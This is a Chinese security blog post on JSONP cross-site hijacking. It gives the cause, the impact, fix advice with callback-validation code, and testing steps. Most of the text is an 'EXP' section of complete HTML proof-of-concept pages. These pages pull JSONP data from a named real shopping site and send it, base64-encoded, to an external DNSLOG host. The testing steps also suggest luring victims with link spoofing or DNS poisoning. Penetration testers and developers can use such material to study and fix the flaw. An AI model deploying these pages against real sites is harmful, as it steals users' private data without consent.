【漏洞归纳】JSONP跨站劫持漏洞

admin 2023年12月25日22:48:06评论12 views字数 10709阅读35分41秒阅读模式

JSONP跨站劫持漏洞

漏洞名称

JSONP跨站劫持漏洞

漏洞地址


漏洞等级

中危

漏洞描述

攻击者通过操纵第三方网站上的JSONP回调函数,来获取用户在目标网站上的敏感信息。这种漏洞的关键在于,JSONP在请求时不对数据源进行验证,而是依赖于回调函数的执行,从而可能导致恶意操作。

漏洞成因

1.缺乏验证机制: JSONP请求不像XMLHttpRequest那样受同源策略的限制,它通过动态创建<script>标签来加载跨域脚本,而这些脚本可能被恶意网站篡改。

2.信任回调函数: JSONP的安全性依赖于对回调函数的信任,如果回调函数被劫持或篡改,攻击者可以执行恶意代码。

3.敏感信息泄露:JSONP接口在响应中会包含用户凭证或敏感信息。

漏洞危害

1.用户隐私泄露: 攻击者可以获取用户在目标网站上的敏感信息,如用户身份、个人数据等。

2.恶意操作: 攻击者可以以用户的身份执行恶意操作,如修改用户配置、发表评论等。

修复建议

1.不使用JSONP:考虑使用更安全的跨域通信方式,如CORS(跨源资源共享)。

2.验证回调函数: 服务端应该验证JSONP请求中的回调函数是否是合法的,避免被劫持。建立callback函数白名单,如果传入的callback参数值不在白名单内,跳转到统一的异常界面阻止其继续输出。

3.使用随机回调函数: 动态生成随机的回调函数名称,使攻击者难以猜测。

严格格式处理:严格定义HTTP响应中的Content-Type为json数据格式 Content-Type: application/json;charset=UTF-8。

4.输出过滤:对callback参数和json数据输出进行HTML实体编码来过滤掉“<”、“>”等字符。

 

参考代码:

 

// 修复方法1:定白名单允许的回调函数名称

var allowedCallbacks = ['cb1', 'cb2'];

function callback(data) {

  if (allowedCallbacks.indexOf(callbackName) > -1) {

    // 处理请求

  } else {

    // 回调名称不在白名单中,拒绝回调

  }  

}

 

// 修复方法2:在输出数据前校验回调函数名称的有效性

function callback(data) {

  var regex = /^[a-z_$][a-z0-9_$]*$/i;

  if (regex.test(callbackName)) {

     // 回调名称符合规范,处理请求

  } else {

    // 回调名称不符合规范,拒绝回调

  }

}

 

下面代码是一个使用Spring Framework的Java示例,用于处理JSONP请求。在jsonpEndpoint方法中,验证了回调函数的合法性,并返回相应的JSONP响应。isValidCallback方法是一个简单的回调函数验证示例,实际应用中可能需要更复杂的逻辑来确保回调函数的安全性。

 

import org.springframework.http.ResponseEntity;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.bind.annotation.RestController;

import org.springframework.web.util.JavaScriptUtils;

 

@RestController

public class JsonpController {

 

    private static final String CALLBACK_PATTERN = "[a-zA-Z_][a-zA-Z0-9_]*";

 

    @GetMapping("/jsonp-endpoint")

    public ResponseEntity<String> jsonpEndpoint(@RequestParam("callback") String callback,

                                                @RequestParam("data") String data) {

        if (isValidCallback(callback)) {

            String jsonpResponse = JavaScriptUtils.javaScriptEscape(callback) + "(" + data + ")";

            return ResponseEntity.ok().body(jsonpResponse);

        } else {

            return ResponseEntity.badRequest().body("Invalid callback function");

        }

    }

 

    private boolean isValidCallback(String callback) {

        return callback.matches(CALLBACK_PATTERN);

    }

}

初测过程

JSONP跨站劫持漏洞的测试过程如下:

1.查找目标网站是否使用JSONP接口。可以通过查看响应头中是否包含"Content-Type: application/javascript"等信息判断。

2.分析JSONP接口和回调函数参数。常见的JSONP回调函数参数有:callback、cb、jsonp、jsonpCallback等。需要确定目标网站使用的具体参数名称。

3.构造跨站URL以劫持JSONP响应。URL格式通常为:   https://vulnerable_website/jsonp_endpoint?callback=attacker_controlled_callback

   其中attacker_controlled_callback是攻击者控制的JavaScript函数名称。

4.在自己控制的网站上设置一个attacker_controlled_callback 数,用于接收劫持的JSONP响应。

5.诱导目标用户访问构造的跨站URL。常见的诱导手段有:链接欺骗、DNS污染等。

6.当目标用户访问跨站URL时,请求会发送到vulnerable_website,该网站会返回一个JSONP响应,响应中会调用attacker_controlled_callback函数并传入数据作为参数。

7.attacker_controlled_callback函数在攻击者的网站上执行,从而接收到目标网站传回的JSONP数据,达到跨站劫持的目的。

8.分析劫持的数据,可能包含用户隐私、会话信息等敏感内容。

所以,JSONP 跨站劫持漏洞的测试关键在于确认目标网站使用 JSONP 接口,构造跨站 URL 以劫持响应,并在自己的网站上设置回调函数来接收数据。成功利用该漏洞可以获取目标网站敏感数据。

 

JSONP EXP

 

方法一:JavaScript调用

 

弹窗代码(弹窗JSON数据):

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script>

        function jsoncallback(json){

            //new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)

            alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

 

</body>

</html>

 

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script>

        function jsoncallback(json){

            new Image().src="http://jsonp.reiwgah.exeye.io/" + JSON.stringify(json)

            //alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

 

</body>

</html>

 

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script>

        function jsoncallback(json){

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(json))))

            //alert(JSON.stringify(json))

        }

    </script>

    <script src="http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback"></script>

 

</body>

</html>

 

方法二:jQuery jsonp跨域请求

 

弹窗代码(弹窗JSON数据):

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {

                    var result = JSON.stringify(data);

                                   //json对象转成字符串

                    $("#text").val(result);

                            }

                        })

                    })

                })

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

 

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {

                    new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(data))))

                    //var result = JSON.stringify(data);

                                   //json对象转成字符串

                    //$("#text").val(result);

                            }

                        })

                    })

                })

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

 

两者同时操作:

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        $(document).ready(function(){

           $("#button").click(function(){

              $.ajax({    

                 url: "http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback",

                type: "GET",       //定GET请求方法

                dataType: "jsonp", //定服务器返回的数据类型

                jsonp: "callback", //定参数名称

                jsonpCallback: "jsoncallback",

                                   //定回调函数名称

                success: function (data) {                    

                    var result = JSON.stringify(data);

                                   //json对象转成字符串

                    $("#text").val(result);

                    new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(result)))

                            }

                        })

                    })

                })

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

 

方法三:jQuery JacaScript调用

 

弹窗代码(弹窗JSON数据):

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        //回调函数

        function jsoncallback (result) {

            var data = JSON.stringify(result); //json对象转成字符串

            $("#text").val(data);

        }

 

        $(document).ready(function () {

 

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>");

            });

 

        });

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

 

获取JSON数据并且Base64编码发送到远程服务器的DNSLOG:

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        //回调函数

        function jsoncallback (result) {

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(JSON.stringify(result))))

            //var data = JSON.stringify(result); //json对象转成字符串

            //$("#text").val(data);

        }

 

        $(document).ready(function () {

 

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>");

            });

 

        });

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

 

两者同时操作:

 

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>JSONP EXP跨域测试</title>

</head>

<body>

 

    <script src="http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js">

    </script>

 

    <script>

        //回调函数

        function jsoncallback (result) {            

            var data = JSON.stringify(result); //json对象转成字符串

            $("#text").val(data);

            new Image().src="http://jsonp.reiwgah.exeye.io/" + window.btoa(unescape(encodeURIComponent(data)))

        }

 

        $(document).ready(function () {

 

            $("#button").click(function () {

                //向头部输入一个脚本,该脚本发起一个跨域请求

                $("head").append("<script src='http://m.gome.com.cn/active/userAgent?bust=1531376973100&=undefined&callback=jsoncallback'></script>");

            });

 

        });

    </script>

 

    <input id="button" type="button" value="发送一个JSONP请求并获取返回结果" />

    <textarea id="text" style="width: 400px; height: 100px;"></textarea>

 

</body>

</html>

复测过程


复测结果

未修复

初测人员


复测人员


原文始发于微信公众号(利刃信安攻防实验室):【漏洞归纳】JSONP跨站劫持漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月25日22:48:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞归纳】JSONP跨站劫持漏洞http://cn-sec.com/archives/2229315.html

发表评论

匿名网友 填写信息